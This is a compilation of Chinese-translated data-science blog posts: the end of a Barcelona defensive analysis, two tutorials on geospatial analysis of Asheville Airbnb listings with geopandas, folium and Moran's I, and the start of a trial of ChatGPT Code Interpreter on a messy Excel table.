就每 90 分钟的进球数而言,我们仍然看到马修、阿德里亚诺和罗伯托位于表现最差的 6 名球员中。显然效率不高。
我们也看到了皮克,这解释了我们在热图上看到的左侧偏斜。
但让我们将这个放到团队背景中。来看看团队比例:
Barcelona conceded 356 shots. An average of 9.37 shots per match.
Barcelona conceded 26 goals. An average of 0.68 goals per match.
这是相关的:
-
左侧图中的所有球员,除了*尔马伦外,每场比赛承受的射门数都高于球队平均水平。换句话说,这 5 名球员在防守上表现不佳。由于他们大多数是防守球员,这意味着球队在他们在场时防线挣扎。幸运的是,射门的增加并没有直接转化为进球。
-
如果我们看右侧图,所有 6 名球员都高于球队平均水平。当他们在场时,球队承受了更多的进球。这次,一半是替补防守球员。
结论
所有数据科学项目都需要得出结论。这可能是最重要的部分——提取洞见并与利益相关者分享是进行前期分析和研究的原因。
在我们的足球案例中,这就是我们如何结束分析并与那赛季的教练路易斯·恩里克分享:
作为一个团队,我们在那个赛季的防守排名第二。不算差,但距离最佳防守还相当远(相差 11 个进球)。我们承受的进球数超过了预期,减少这一数字的最佳方法是减少巴萨让对手射门的次数。
如果我们关注这些射门和进球,危险的射门(在禁区内)似乎偏向于皮克的一侧。我们不是在指责他,我们需要看看为什么会这样。
更深入的分析证明,如果我们要责怪某人,那不会是首发防守球员。在场时,对手的射门次数减少。是否转化为进球数量较少取决于多个因素,但确实存在相关性。
实际上,当像*尔马伦、马蒂厄、巴尔特拉、阿德里亚诺和/或罗伯托这样的球员上场时,球队每分钟受到的射门和进球数量最多。因此,在我看来,重点应该是寻找更好的防守选项来支持由阿尔*斯、比克、马斯切拉诺和阿尔巴建立的防守核心,或提升现有防守球员的表现。
比克和马斯切拉诺大部分时间主导了防守,这帮助巴萨赢得了他们赢得的奖杯。但即便比克在被射门方面是最好的防守者,当对手射门时,他们进球的几率还是比马斯切拉诺高。因果关系还是偶然性,我们永远无法知道(我会选择第二种)。
如果你对 2016 年转会窗口期间发生的事情感到好奇:阿德里亚诺、巴尔特拉和*尔马伦离开了俱乐部。马蒂厄再待了一个赛季,但他的出场次数大幅下降,在所有比赛中只踢了 16 场:他基本上是最后的选择。
罗伯托是唯一一个留下来并且保持了相当多的上场时间的人。
那个夏天,巴萨还尝试通过签下乌姆蒂蒂和迪涅来增强阵容——如果他们知道结果会是这样就好了……
从某种程度上说,今天的分析对 FCB 来说并不新鲜:他们已经在 2015–16 赛季结束时进行了类似分析,并看到了我们在他们防守中看到的相同问题。不知何故,他们未能签下足够的优质球员来改善情况,并在下赛季没有赢得西甲。
**Thanks for reading the post!**
I really hope you enjoyed it and found it insightful.
Follow me and subscribe to my mail list for more
content like this one, it helps a lot!
**@polmarin**
资源
[4] mplsoccer — Readthedocs.io
使用 Python 分析地理空间数据
原文:
towardsdatascience.com/analyzing-geospatial-data-with-python-7244c1b9e302
一篇实用的数据分析文章,包含 Python 代码。
·发表于Towards Data Science ·阅读时间 8 分钟·2023 年 8 月 19 日
--
简介
地理空间数据科学是我感兴趣的领域之一。我觉得将数据可视化在地图上的方式非常迷人,而且——很多时候——数据点之间的关系能够迅速提供深刻的洞见。
我相信这一数据科学子领域的应用对任何业务都非常有用,例如杂货店、汽车租赁、物流、房地产等等。在这篇文章中,我们将探讨来自AirBnb的一个数据集,地点是美国北卡罗来纳州的阿什*尔市。
附注:在那个城市里有一处美国最惊人的房地产之一——我敢说是世界上最惊人的。这处房产属于范德比尔特家族,曾经是国家上最大的私人财产。嗯,值得一游览,但这不是本文的核心主题。
位于北卡罗来纳州阿什*尔的比尔特莫尔庄园。照片由Stephanie Klepacki拍摄,Unsplash提供。
本练习使用的数据集为阿什*尔市的 AirBnb 出租数据。可以直接从insideairbnb.com/get-the-data
网站下载,符合知识共享署名 4.0 国际许可协议。
让我们开始工作吧。
地理空间数据科学
本文的知识大多来源于下述书籍(《使用 Python 进行应用地理空间数据科学》,作者:David S. JORDAN)。所以,让我们开始导入一些模块到我们的会话中吧。
import pandas as pd
import geopandas as gpd
import matplotlib.pyplot as plt
import pysal
import splot
import re
import seaborn as sns
import folium
# For points map
import geoplot.crs as gcrs
import geoplot as gplt
现在注意,有些数据点对你来说可能是新的,就像对我一样。如果需要,使用 pip install module_name
安装所需的任何软件包。在我的情况下,pysal
和 geoplot
对我来说是新的,所以它们必须被安装。
接下来,我们将从 AirBnb 读取数据。
# Open listings file
listings = pd.read_csv('/content/listings.csv',
usecols=['id', 'property_type', 'neighbourhood_cleansed',
'bedrooms', 'beds', 'bathrooms_text', 'price',
'latitude','longitude'])
#listings.columns
listings.sample(4)
阿什*尔,NC 的 AirBnb 列表。图像由作者提供。
如果我们执行 listings.info()
,我们会看到 price
变量被识别为对象类型。这是因为数字前面有美元符号 $
。这在 Python 中很容易纠正。
# Correct Price to Float (Replace $ and , with nothing)
listings['price'] = (listings['price']
.replace("[$,]", "", regex=True)
.astype(float)
)
探索性分析
现在我们可以检查该变量的统计信息。
#price stats
listings.price.describe()
count 3239.000000
mean 179.771843
std 156.068212
min 14.000000
25% 95.000000
50% 135.000000
75% 212.500000
max 2059.000000
Name: price, dtype: float64
有趣。平均价格接近 $180,但中位数为 $135。 这表明我们可能有一些高值扭曲了分布,使其向右偏斜。为了确认这一点,我们可以检查价格范围。
# Check price range
sns.displot(listings['price'], kde=True);
阿什*尔,NC 列表的价格。图像由作者提供。
正如预期的那样,我们的数据大多数集中在 $500 左右。其余的大部分是异常值,数量很少。我们可以通过运行代码 np.quantile(listings[‘price’], 0.97)
并检查第 97 百分位数是 $538 美元来确认这一点。
非常好。
下一步是开始将数据绘制到地图上。让我们可视化数据点并开始绘制一些洞察。为此,我们首先需要将 Pandas 数据框转换为 Geopandas。
# Convert Pandas df to Geopandas df
listings_gpd = gpd.GeoDataFrame(listings,
geometry=gpd.points_from_xy(listings.longitude, listings.latitude, crs=4326))
# Look at the geometry variable created
listings_gpd.head(2)
查看创建的数据集,可以观察到它现在带有一个 geometry
变量。
由 geopandas 创建的‘geometry’变量。图像由作者提供。
完成后,使用 geoplot 绘制点是很简单的。我们只使用了 $538 以下的值,这样颜色看起来分布更均匀,否则数据的偏斜会使点变成一大块紫色混合。
# Points map using geoplot
ax = gplt.webmap(listings_gpd.query('price < 538'), projection=gcrs.WebMercator())
gplt.pointplot(listings_gpd.query('price < 538'), ax=ax, hue= 'price', legend=True);
数据点:来自北卡罗来纳州阿什*尔的 AirBnb 列表。图像由作者提供。
好的。从这里开始,我们可以看到一些不错的东西:
-
大多数列表(如预期的那样)都在平均值附近浮动。
-
I-40 高速公路沿线有租赁物业的集中区域。
-
深蓝色和浅蓝色点混合得很好,显示价格在 100 到 200 美元之间。
-
红点的出现非常稀疏,所以在阿什*尔找不到非常贵的租赁房源应该不是很常见。
热图
接下来,我认为我们可以开始创建热图。
JORDAN 的书中展示的一个选项是使用 geoplot。我们可以从 insideairbnb.com 下载 geojson 文件,并用它来创建热图。
在这里,我们将使用 geopandas 读取文件,并将其转换为 4326 坐标系统,这是 GPS 的标准。
# Reading the Asheville polygon shapefile (geojson)
geofile = '/content/neighbourhoods.geojson'
asheville = gpd.read_file(geofile)
asheville = asheville.to_crs(4326)
然后,使用这些几行代码创建热图非常简单。首先,我们创建一个密度图(kde)以便在地图上投影,然后使用 polyplot 显示这两个图层。
# Heatmap
ax = gplt.kdeplot(listings_gpd,
fill=True, cmap='Reds',
clip=asheville.geometry,
projection=gcrs.WebMercator())
# Plotting the heatmap on top of the geometry
gplt.polyplot(asheville, ax=ax, zorder=1);
这是漂亮的结果。列表在城市中心区域非常集中。
阿什*尔列表的热图。图像由作者提供。
继续,我们将使用Folium
模块创建按区域划分的价格热图和一个分层地图。
首先是热图。考虑到我们希望看到不同颜色的数据点,按价格范围分组,这里有一个代码来创建这些组。首先我们使用pandas.cut
为每 100 美元创建区间,然后使用map()
将标签转换为颜色。这将在我们的下一步中使用。
from numpy import Inf
# Create clip levels for prices
listings['price_bins']= pd.cut(listings.price,
bins= [-Inf, 100, 200, 300, 400, 500, Inf],
labels= ['0-100', '100-200', '200-300', '300-400', '400-500', '500+'])
# Create bin colors
listings['colors'] = listings.price_bins.map({'0-100': 'lightblue', '100-200':'blue', '200-300':'gold', '300-400':'orange', '400-500':'red', '500+':'black'})
我们来创建一个基础地图,起点为北卡罗来纳州阿什*尔市中心。
# Creating a base map
m = folium.Map(location= [35.5951, -82.5515], zoom_start=10)
然后我们可以添加点。
# Adding the points
for lat, lon, ptcolor in zip(listings.latitude, listings.longitude, listings.colors):
folium.CircleMarker(
location=[lat, lon],
radius=2,
opacity=0.5,
color=ptcolor,
fill=True,
fill_color=ptcolor,
).add_to(m)
现在我们将创建热图。我们必须将数据转换为值的列表。仅包括纬度、经度和价格。热图将按价格显示。然后,我们导入HeatMap from folium.plugins
并将其添加到基础地图中。
from folium import plugins
# Preparing data for plot
data = listings[['latitude','longitude', 'price']].values
data =data.tolist()
# Create Heat Map with Folium
hm = plugins.HeatMap(data,gradient={0.1: 'blue', 0.2: 'lime', 0.4: 'yellow', 0.6: 'orange', 0.9: 'red'},
min_opacity=0.1,
max_opacity=0.9,
radius=20,
use_local_extrema=False)
# Add to base map
hm.add_to(m);
# Display
m
这是结果。一个漂亮的热图,展示了有价值的见解。
阿什*尔 AirBnb 列表的热图。图像由作者提供。
看看市中心附近的价格更高。而在比尔特莫景点附近,列表并不那么密集。那里有一些,价格相对较低,可能是因为离市中心较远。
市中心与比尔特莫周边。图像由作者提供。
分层地图
最后,如果我们想从这些数据创建一个快速的分层地图,以下是代码片段。我们可以使用之前创建的asheville
文件作为我们的地理数据,listings
文件是价格来源,neighbourhood
变量是 geojson 与数据框之间的链接。
# Add a choropleth layer
folium.Choropleth(
geo_data=asheville,
name="choropleth",
data=listings,
columns=["neighbourhood", "price"],
key_on="feature.properties.neighbourhood",
fill_color="RdBu_r",
fill_opacity=0.5,
line_opacity=0.5,
legend_name="Prices",
).add_to(m)
m
阿什*尔 AirBnb 列表的分层地图。图像由作者提供。
从地图上看,我们看到最高的价格在右侧。如果你不熟悉这个地区,阿什*尔是一个位于蓝岭山脉旁边的城市,是北卡罗来纳州一个著名而美丽的地方,特别是在秋季。蓝岭公路是美国最著名的公路之一,经常被提及为最美的驾车路线之一。所以让我们绘制另一个分层地图,这次启用地形模式,然后我们可以看到山脉的位置。
# Base map with Terrain mode
m = folium.Map(location= [35.5951, -82.5515], zoom_start=10, tiles="Stamen Terrain")
# Add a choropleth layer to a terrain map
folium.Choropleth(
geo_data=asheville,
name="choropleth",
data=listings,
columns=["neighbourhood", "price"],
key_on="feature.properties.neighbourhood",
fill_color="RdBu_r",
fill_opacity=0.5,
line_opacity=0.5,
legend_name="Prices",
).add_to(m)
m
红线是蓝岭公路的位置。
分层地图叠加在地形图上。图像由作者提供。
这是蓝岭公路的一种视角。我想你可以理解为什么那些出租物业更贵了吧?真是美丽的景色!
蓝岭公路的视图。图片来自作者的个人收藏。
在你离开之前
我希望你喜欢这个*项目。地理空间数据非常强大,可以带来许多见解。要使用它,像 Geopandas、Geoplot 和 Folium 这样的包是必不可少的。
这是本练习的完整代码:
github.com [## Studying/Python/Geospatial 在 master · gurezende/Studying
这是一个包含我的测试和新包学习的代码库 - Studying/Python/Geospatial 在 master ·…
如果你喜欢这些内容,请关注我的博客获取更多更新。此外,你也可以在LinkedIn找到我。
gustavorsantos.medium.com [## Gustavo Santos - Medium
阅读 Gustavo Santos 在 Medium 上的文章。数据科学家。我从数据中提取见解,以帮助人们和公司……
参考资料
JORDAN, David S. 2023.应用地理空间数据科学与 Python. 第 1 版。Pactk Publishing.
medium.com [## 使用 Folium 在 Python 中创建交互式地图和 choropleth 地图
学习如何创建简单的地图并使用 Folium 包添加基于颜色的值编码(choropleth)……
medium.com [## 快速入门 - Folium 0.14.0 文档
要创建基础地图,只需将起始坐标传递给 Folium:要在 Jupyter notebook 中显示它,只需请求……
python-visualization.github.io
使用 Python 分析地理空间数据(第二部分 - 假设检验)
原文:
towardsdatascience.com/analyzing-geospatial-data-with-python-part-2-hypothesis-test-fe3f3f18fc82
了解阿什*尔AirBnb房源的地理空间假设检验
·发表于 Towards Data Science ·12 min read·2023 年 8 月 31 日
--
阿什*尔,NC 的蓝岭山脉。照片来自作者个人收藏。
介绍
在下方链接的第一篇文章中,我们介绍了地理空间数据分析,下载了AirBnb在北卡罗来纳州阿什*尔市的房源数据,并进行了一些步骤以从地理空间数据中提取洞察。
一篇包含 Python 代码的实用数据分析文章。
towardsdatascience.com
在那篇文章中,我们更多关注了租赁物业的集中区域及其价格。因此,我们得出结论:阿什*尔的房源集中在市中心区域,最高价格可以在蓝岭公路沿线看到,这可能是由于美丽的景色和乡村环境。
很好。我建议你阅读第一篇文章,以便你可以将初始代码和想法整合在一起,然后继续使用第二部分提供的知识。
数据集
如果你还不知道,AirBnb 是一个点对点的平台,供人们列出他们的房屋、房间或卧室供出租。它们的租赁数据由这个社区项目在网站 insideairbnb.com/
收集,任何人都可以访问并下载数据集进行分析。所以我们将继续使用相同的数据。数据在Creative Commons Attribution 4.0 International License下开放。
在这篇文章中
在这篇文章中,我们将了解创建地理空间假设检验的组成部分。它们包括:
-
一阶和二阶效应
-
自相关
-
空间权重
-
邻接矩阵
-
莫兰指数(Moran’s I)
-
全球空间自相关
-
局部空间自相关
请注意,这里介绍了很多概念,但我们也会将所有内容一起编码。要进行此练习的编码,请导入以下内容:
import pandas as pd
import numpy as np
import geopandas as gpd
import matplotlib.pyplot as plt
!pip install pysal
!pip install geoplot
import pysal
import seaborn as sns
import folium
# For points map
import geoplot.crs as gcrs
import geoplot as gplt
# packages for Hypothesis test
from pysal.explore import esda
from pysal.lib import weights
from esda.moran import Moran
from splot.esda import plot_moran
from splot import esda as esdaplot
让我们开始工作吧。
一阶效应和二阶效应
在处理地理空间数据时,我们在寻找模式。例如:
-
是否存在租赁物业价格较高的地方?
-
这些地方彼此接近还是在空间中随机分布?
这些问题是我们在寻找空间模式时考虑的。如果我们像在本文第一部分那样查看绘制在地图上的数据,我们可以快速识别模式并从中提取重要见解。然而,这可能只是偶然发生的。因此,存在统计测试以确保这些现象不仅仅是巧合,并为展示分析结果提供更多信心。
要创建假设检验,我们应考虑一阶效应,即观察值如何根据分析区域的变化在不同地方变化。二阶效应是观察值如何根据与其他观察值的互动在不同地方变化。
一阶效应是价格如何因区域内新建购物中心而变化。二阶效应是价格如何基于该区域租赁价格的平均值波动。
假设检验
了解到数据可能具有统计显著性模式或仅仅是偶然的,我们将构建我们的假设检验如下:
-
Ho:数据在空间中随机分布。[p-Value > α]
-
Ha:数据具有空间结构。[p-Value < α]
统计测试基于数据点的自相关。简单来说,这意味着我们将对正在研究的变量与其邻域中的观测值进行比较。
空间自相关
在本研究中,空间自相关是租赁物业的价格与同一区域内其他房源的相关性。
空间自相关可以是:
-
正相关:当高价房源靠近其他昂贵的出租房或便宜的房源靠近其他便宜的房源时。
-
负相关:当便宜的房源靠近昂贵的房源时。
-
无相关性:数据是随机分布的。
自相关类型。图片由作者提供。改编自 JORDAN (Packt, 2023)。
下一步是理解权重矩阵,因为它使得计算自相关成为可能。
权重矩阵和邻接
权重矩阵是一种表示数据空间结构的方式。
空间权重矩阵是用来数值化确定我们分析的数据点与其邻居之间关系的一种方式。因此,为了创建这个矩阵,我们首先需要了解另一个概念:邻接性。
邻接性就是邻里关系。它包括与正在分析的观察点共享共同边界的点。因此,如果你有一个中心点,围绕它的所有点将构成邻接点,就如图中黄色方块是邻接于红色中心方块的。
邻接性方法。图片由作者提供。
最常用的矩阵受到了国际象棋游戏移动的启发。它们是车邻接矩阵 — 它考虑了所有共享边界的邻居,沿直线向上、向下和向侧面移动,就像车在国际象棋棋盘上的移动一样 — 还有皇后邻接矩阵 — 它考虑了所有方向上的直接邻居,包括侧面和对角线,就像皇后在国际象棋棋盘上的移动一样。
简而言之,邻接性就是邻里关系。
还有其他邻接矩阵,但我们只会概念性地讨论这两个矩阵,并且仅使用皇后权重矩阵进行编码。为了进行编码,代码片段非常简单。只需记住listings_gpd
文件来自于这篇文章的第一部分,它是从 Asheville, NC 的 AirBnb 列表转换为 Geopandas 数据框创建的。(注意:你将在本文末尾找到该练习的完整代码链接)
# Convert Pandas df to Geopandas df
listings_gpd = gpd.GeoDataFrame(listings,
geometry=gpd.points_from_xy(listings.longitude, listings.latitude, crs=4326))
# Generate weights Matrix W from the Geo Data
w = weights.Queen.from_dataframe(listings_gpd)
创建矩阵W
就简单如斯。如果你想使用车邻接矩阵,只需将Queen
替换为Rook
。
之后,我们将通过将点的权重除以所有邻居权重的总和来标准化矩阵W
。这是一个标准程序,以去除潜在的偏差。代码也非常简单。
# Row Standardization
w.transform = 'R'
一旦计算了我们的权重,我们可以查看图形(如果需要),以了解在计算过程中什么与什么有关。
from splot.libpysal import plot_spatial_weights
plot_spatial_weights(w, listings_gpd)
这是得到的结果图形。
Asheville 的 AirBnb 列表的皇后 W 矩阵。图片由作者提供。
接下来,我们可以计算空间滞后,即你正在处理的变量的邻居的平均值。在我们的例子中,就是每个数据点周围的价格的平均值。这可以通过方法lag_spatial
来计算,并将在下一部分中用于计算 Moran's I 统计量。
# calculate the spatial lag
listings_gpd['price_lag'] = weights.spatial_lag.lag_spatial(w, listings_gpd['price'])
Moran's I 和全局空间自相关
莫兰指数是一种统计量,用于衡量空间中所有点与其邻居之间的全局相关性。结果显示了总体空间分布的趋势或强度。该统计量是一个介于-1 和 1 之间的数值,以及一个用于检验统计显著性的 p 值。你可以在*基百科上查看公式。
全球自相关公式:莫兰指数。图像来自*基百科。
要计算莫兰指数,代码如下。请查看我们如何输入所需的变量price
和权重矩阵W
,这是我们空间中点之间关系的数值表示。通过这些,方法esda.moran.Moran()
可以进行计算。
# Calculating Moran's I for price (Global spatial correlation)
moran_stat = esda.moran.Moran(listings_gpd['price'], w)
print(f"Moran's I: {moran_stat.I}")
print(f"Moran's I p-Value: {moran_stat.p_sim}")
[OUT]
Moran's I: 0.2118266504045153
Moran's I p-Value: 0.001
结果返回了 0.21 的弱正相关,但在统计上是显著的,p值低于考虑的 0.05。这意味着,根据我们的数据点,总体趋势表明价格没有强相关。换句话说,价格不会形成太多高价或低价的聚类。
要绘制测试结果,只需一行代码。
plot_moran(moran_stat);
上述代码将显示下图。
莫兰检验图。图像由作者提供。
解释你所看到的图:
-
左侧:我们可以看到每个点的统计密度分布(自相关)。我们可以注意到,大多数点都漂浮在零附近,从而确认了弱相关性。
-
右侧:这是每个价格与价格滞后(每个点邻域内价格的平均值)对比的图。如果你看到线性模式,这意味着更强的相关性,因此列表价格将高度相关,我们会看到许多价格高或低的聚类。
局部空间自相关(LISA)
虽然全局空间自相关返回一个莫兰指数的单一值,显示数据空间分布的趋势,但局部空间自相关将为每个点返回一个值,测量每个点与其周围环境的关系。这有助于识别局部聚类模式,其中高价位靠近其他高价租赁和低价-低价连接。
让我们计算数据集的局部数值。我们还可以绘制结果的密度图,以检查分布的情况。
# Local Spatial Correlation
price_local_I = esda.moran.Moran_Local(listings_gpd['price'], w)
#Plotting the output density plot
sns.kdeplot(price_local_I.Is);
局部空间自相关密度图。图像由作者提供。
有趣的是,我们再次确认大多数点都在零附近,呈现出较弱的相关性,并且与全局数值(0.21)一致。
接下来,绘制这些点。
# Figure
f, ax = plt.subplots(1, figsize=(12,8))
# plot choropleth of local statistics
(listings_gpd
.assign(ML_I = price_local_I.Is)
.plot(column = 'ML_I', cmap='vlag',
scheme='quantiles',
k=4,
edgecolor='white',
linewidth= 0.1,
alpha=0.75,
legend=True,
ax=ax)
);
这是结果。
局部空间自相关统计散点图。图像由作者提供。
好的。如果我们考虑我们的alpha = 0.05
,那么只有蓝色和浅蓝色的点会在统计上显著,因为备择假设(p 值 < α)不是随机分布的点。因此,让我们再次绘制它,查看显著性。
首先,我们确定我们的 alpha 值并创建一个标签来标识仅低于阈值的点。然后我们将其添加到数据集listings_gpd
中。
# Determine what's statistically significant correlation
alpha = 0.05
labels = 1* (price_local_I.p_sim < alpha)
# Add to data frame
listings_gpd = listings_gpd.assign( stat_cd = labels)
listings_gpd['stat_label'] = listings_gpd.stat_cd.map({0:'Not stat significant', 1:'stat significant'})
接下来,我们绘制它。
# Plot statistically significant correlation
listings_gpd.plot(
column = 'stat_label',
categorical=True,
k=2,
cmap='vlag',
edgecolor = 'white',
linewidth= 0.1,
legend=True);
局部空间自相关的统计显著点。图片由作者提供。
另一种更快捷的选择是使用splot包中的esdaplot.lisa_cluster
函数来绘制局部簇点(HH=高值紧邻高值,HL=高值紧邻低值,LH=低值紧邻高值,LL=低值紧邻低值,ns=不显著),将 alpha 值传递给参数 p p=alpha
。
# Figure
f, ax = plt.subplots(1, figsize=(5,5))
# Plot quadrants statistically significant
esdaplot.lisa_cluster(price_local_I,
listings_gpd,
p=alpha, ax=ax);
为北卡罗来纳州阿什*尔的 AirBnb 房源绘制的局部簇。图片由作者提供。
这很漂亮,但我们仍然需要将其绘制在地图上。因此,我们必须在数据集中添加另一个变量,即象限(HH,LL,HL,LH)。这些信息在price_local_I.q
变量的q
属性中,包含 LISA 计算。我们还将用颜色对它们进行编码,以便通过Folium
包使地图更易读。
# Get quadrants and p-values
quadrants = pd.DataFrame({'quadrant': price_local_I.q, 'p':price_local_I.p_sim})
quadrants['significant'] = labels
quadrants.quadrant.where(quadrants.p > alpha, other= 5, inplace=True )
# Add quadrants colors to variable in listings
listings['quadrants'] = quadrants.quadrant.map({1:'HH', 2:'LH', 3:'LL', 4:'HL', 5:'NS'})
listings['quadrants_colors'] = quadrants.quadrant.map({1:'red', 2:'lightblue', 3:'blue', 4:'orange', 5:'gray'})
最后,我们可以使用下面的代码片段绘制带有统计显著价格簇的 Folium 地图。
# Preparing data for plot
data = listings[['latitude','longitude', 'price']].values
data =data.tolist()
# Create a Base map with Folium
m = folium.Map(location= [35.5951, -82.5515], zoom_start=12)
for lat, lon, q, ptcolor in zip(listings.latitude, listings.longitude, listings.quadrants, listings.quadrants_colors):
folium.CircleMarker(
location=[lat, lon],
radius=2,
opacity=0.5,
color=ptcolor,
fill=True,
fill_color=ptcolor,
popup=q,
).add_to(m)
# Add a choropleth layer
folium.Choropleth(
geo_data=asheville,
name="choropleth",
data=listings,
columns=["neighbourhood", "price"],
key_on="feature.properties.neighbourhood",
fill_color="RdBu_r",
fill_opacity=0.1,
line_opacity=0.8,
legend_name="Prices",
show=True
).add_to(m)
# Layer Control (add/ Remove layers)
folium.LayerControl().add_to(m)
#Display
m
显示的地图就是这个。
阿什*尔,NC 的 AirBnb 房源与局部价格簇。图片由作者提供。
放大来看,我们现在看到左上角的区域是一个蓝色的区域图,这得到了许多较低价格租赁的簇的确认。另一方面,市中心则充满了高价值簇,因此是一个更偏红色的区域图。
就这些了,伙计们。这就是如何执行地理空间假设检验。
在你离开之前
在这篇文章中,我们学习了如何对地理空间数据进行假设检验。这类统计检验是确定结果是否真的显著,还是仅仅可能是偶然发生的的重要方法。
有了这样的工具,你现在可以将其应用于你的商业模型,例如比较邻里的食品价格、电影票、餐厅……嗯,选择是无限的。我相信公司会很高兴知道那些可以利用更好定价策略的簇,无论是提高价格以匹配竞争并保持质量感知,还是稍微降低价格,以创建价值交易形象。
总结一下,执行检验的步骤是:
-
定义统计显著性的 alpha 值
-
确定将使用哪种类型的邻接矩阵(Queen,Rook,KNN)
-
计算权重矩阵
-
标准化行
-
计算全球自相关的 Moran’s I 统计数据
-
计算局部自相关的 LISA 统计数据
-
根据假设检验识别显著的数据点
-
绘制结果。
该练习的完整代码:
[## Studying/Python/Geospatial/Geospatial_geopandas_with_Hypothesis_Test.ipynb 在 master ·…
这是一个包含我对新包进行测试和研究的仓库……
如果你喜欢这些内容,可以关注我的博客获取更多,或在LinkedIn 上找到我。
阅读 Gustavo Santos 在 Medium 上的文章。数据科学家。我从数据中提取洞察,帮助个人和公司…
此外,如果你考虑订阅 Medium,这里有一个推荐链接。你的一部分会员费用将会到我这里,帮助我继续发布优质内容。
[## 通过我的推荐链接加入 Medium - Gustavo Santos
作为 Medium 会员,你的会员费用的一部分将会给你阅读的作者,你将获得对所有故事的完整访问权限…
参考文献
JORDAN, David S. [2023]. Applied Geospatial Data Science with Python. 第 1 版. Pactk Publishing.
来源于*基百科 自统计学中的 Moran’s I 是一种由…开发的空间自相关度量
en.wikipedia.org [## [PYTHON] 空间权重
W 和计量经济学 如果我们只有三个观测值(n=3),我们如何估计 A 的六个参数???我们怎么做…
deepnote.com [## libpysal.weights.Queen - libpysal v4.7.0 手册
从一组共享至少一个顶点的 pysal 多边形中构造权重对象。
pysal.org [## esda.Moran_Local - esda v2.5.0 手册
确保条件随机化的可重复性的种子。必须在这里设置,而不是在函数外部,因为…
pysal.org [## 空间权重
“空间权重”是地理数据科学和空间统计中表示图形的一种方式。它们被广泛…
geographicdata.science ## 用 Python 分析地理空间数据
一个包含 Python 代码的实用数据分析帖子。
[towardsdatascience.com [## 快速入门 - Folium 0.14.0 文档
要创建一个基础地图,只需将起始坐标传递给 Folium:要在 Jupyter notebook 中显示,只需请求…
python-visualization.github.io
使用 ChatGPT 代码解释器分析人道主义数据的非结构化 Excel 表格
使用代码解释器的一些初步探索
·
关注 发表在 Towards Data Science · 10 min read · Jul 10, 2023
--
由 DALL-E2 创建,提示为“儿童的蜡笔画,展示一个快乐的机器人处理数据,背景有图表”
TL;DR
新的实验性功能‘代码解释器’为生成和运行 Python 代码提供了本地支持,作为使用 ChatGPT 的一部分。它在执行数据工程和分析任务方面展示了巨大潜力,提供了一个非技术用户可能使用的对话界面。本文展示了一些 ChatGPT (GPT-4) 代码解释器在我 之前的博客文章中的非结构化 Excel 表格测试,以查看它是否能够自动将该表格转换为可以加载到数据库中的更标准形式。在有限提示下,它能够识别层级标题结构,但无法生成能够准确解析表格的代码。在调整提示以建议使用 openpyxl Python 库来提取有关 Excel 合并单元格的信息后,它能够在一次尝试中解析表格。然而,在使用完全相同的提示重复任务时,它失败了。由于尚未能控制温度参数以使结果更具确定性,代码解释器似乎无法始终如一地处理这一特定任务。不过,早期阶段且仅为测试功能,使用大型语言模型进行自动化数据处理的模式很可能会持续存在,并且无疑会随着时间的推移而改进。
本周 ChatGPT 推出了一个名为 代码解释器 的新功能,它允许 ChatGPT 生成和调用 Python 代码,以及上传数据文件以执行如数据分析等任务。正如我在 之前的博客文章 中探讨的那样,大型语言模型在简化数据工程和分析任务方面具有潜力。LangChain 项目提供了 一些很棒的模式,而且这个领域已经有很多商业活动,因此看到 OpenAI 开始提供本地支持是非常有趣的。
目前已经有许多文章探讨 OpenAI 代码解释器,但我想知道它在使用我之前探索的一些表格数据时表现如何,这些数据可以在惊人的 人道数据交换 (HDX) 中找到。能够为如 HDX 这样的平台提供自然语言接口,为较少技术的用户探索和理解这些数据开辟了道路,这对于预测和加快人道灾难事件的响应时间具有重要意义。
获取 Open AI 代码解释器的访问权限
代码解释器目前是一个‘Alpha’功能,意味着它处于早期测试阶段,并不是标准 ChatGPT 的一部分。要访问它,你需要:
-
成为ChatGPT+订阅者,费用为每月 $20
-
选择左下角你名字旁的“…”并选择“设置”
-
点击“Beta 功能”并激活“代码解释器”
-
回到聊天窗口,将鼠标悬停在 GPT-3.5 或 GPT-4 上,并选择“代码解释器”
值得注意的是,最初你必须在 OpenAI 的插件等候名单上,但我不确定是否仍然如此。尽管我没有收到列表中的访问确认,但这些功能仍然出现在我这里。如果上述方法无效,你可能需要被添加。
分析 Excel 文件中的非结构化表格
如之前的博客文章中提到的,Excel 文件中的表格可以有各种奇妙的形式,包括合并单元格、空白行等,这些都可能使自动处理变得有些挑战。对于这篇文章,我决定尝试使用GPT-4与代码解释器来分析在人道数据交换(HDX)中发现的 Excel 表格的典型示例……
Excel 中不规则表格的示例,包括空白的顶部行、标签和合并单元格。对人类来说完全可读,但对数据科学来说是一个挑战。这个文件来自人道数据交换
尽管代码解释器可以访问开放数据集,但它尚未包含 HDX,也没有访问互联网的能力。我预计这很快会有所改变,但在此期间,我下载了文件,按照上述描述在chat.openai.com/
上开始了一个会话,然后通过点击聊天输入框中的“+”上传了这个文件……
上传后,ChatGPT 立即开始工作,将数据加载到 Python Pandas 中,并进行一些初步分析……
它立刻发现表格在工作表中有些不规则,并立即尝试解决这个问题……
这实际上非常准确。事实上,它接着询问了……
我回应道……
通过选择每个响应下的“显示工作”下拉菜单,可以看到它是如何得出结论的,提供生成的 Python 代码和结果……
它的方法似乎合理,但值得注意的是,它没有使用关于合并单元格的原生 Excel 信息,而是直接加载到 Pandas 中。
ChatGPT 开始工作并自动尝试处理数据……
但它立即失败了。在选择“显示工作”时,我们看到它生成了一些用于解析我们表格的 Python 代码……
# Drop the rows that are not needed
data = data.drop([0, 1])
# Reset the index
data = data.reset_index(drop=True)
# Define the land size categories
land_sizes = data.iloc[:, 1].values
# Initialize empty lists to hold the tidy data
sub_counties = []
genders = []
land_sizes_tidy = []
numbers = []
percentages = []
# Iterate over the sub-counties and genders
for i in range(4, data.shape[1], 2):
sub_county = data.columns[i].split(' ')[0]
gender = data.columns[i].split(' ')[1]
# Iterate over the land size categories
for j in range(len(land_sizes)):
land_size = land_sizes[j]
number = data.iloc[j, i]
percentage = data.iloc[j, i + 1]
# Append the values to the lists
sub_counties.append(sub_county)
genders.append(gender)
land_sizes_tidy.append(land_size)
numbers.append(number)
percentages.append(percentage)
# Create a tidy dataframe
tidy_data = pd.DataFrame({
'Sub County': sub_counties,
'Gender': genders,
'Land Size': land_sizes_tidy,
'Number': numbers,
'Percentage': percentages
})
tidy_data
但这导致了一个边界错误……
ChatGPT 没有放弃,自动开始调试……
这相当令人印象深刻,因为它似乎正确识别了问题。然而,考虑到它在对话开始时已经准确识别了列层次结构,结果却似乎“丢失”了这些信息,这让人有些失望。
再次,它回到了任务中并自动继续进行……
